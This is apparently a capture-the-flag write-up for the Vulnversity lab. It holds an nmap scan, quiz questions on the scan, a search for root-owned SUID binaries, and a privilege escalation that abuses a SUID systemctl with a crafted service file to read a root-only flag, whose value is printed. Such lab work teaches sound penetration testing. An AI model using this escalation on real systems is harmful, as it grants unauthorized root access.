There are 6 open ports:
$ nmap -sV -p- 10.10.236.222 Starting Nmap 7.60 ( https://nmap.org ) at 2020-04-29 01:23 PDT Stats: 0:00:02 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan Ping Scan Timing: About 50.00% done; ETC: 01:23 (0:00:02 remaining) Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 0.50% done Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 3.18% done; ETC: 01:25 (0:02:32 remaining) Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 5.28% done; ETC: 01:25 (0:02:23 remaining) Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 46.73% done; ETC: 01:25 (0:01:11 remaining) Nmap scan report for 10.10.236.222 Host is up (0.045s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3128/tcp open http-proxy Squid http proxy 3.5.12 3333/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 348.72 seconds
What version of the squid proxy is running on the machine?
How many ports will nmap scan if the flag -p-400 was used?
Using the nmap flag -n what will it not resolve?
What is the most likely operating system this machine is running?
Revealed by port 22 (nmap)
What port is the web server running on?
Its important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don’t forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background)
$ find / -user root -perm -4000 -print 2>/dev/null /usr/bin/newuidmap /usr/bin/chfn /usr/bin/newgidmap /usr/bin/sudo /usr/bin/chsh /usr/bin/passwd /usr/bin/pkexec /usr/bin/newgrp /usr/bin/gpasswd /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/squid/pinger /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /bin/su /bin/ntfs-3g /bin/mount /bin/ping6 /bin/umount /bin/systemctl /bin/ping /bin/fusermount /sbin/mount.cifs $
$ cat > /tmp/flag.service << EOF > [Service] > ExecStart=/bin/bash -c "cat /root/root.txt > /tmp/flag.txt" > [Install] > WantedBy=multi-user.target > EOF $ cat flag.service [Service] ExecStart=/bin/bash -c "cat /root/root.txt > /tmp/flag.txt" [Install] WantedBy=multi-user.target $ /bin/systemctl link /tmp/flag.service $ /bin/systemctl enable --now /tmp/flag.service Created symlink from /etc/systemd/system/multi-user.target.wants/flag.service to /tmp/flag.service. $ cat flag.txt a58ff8579f0a9270368d33a9966c7fd5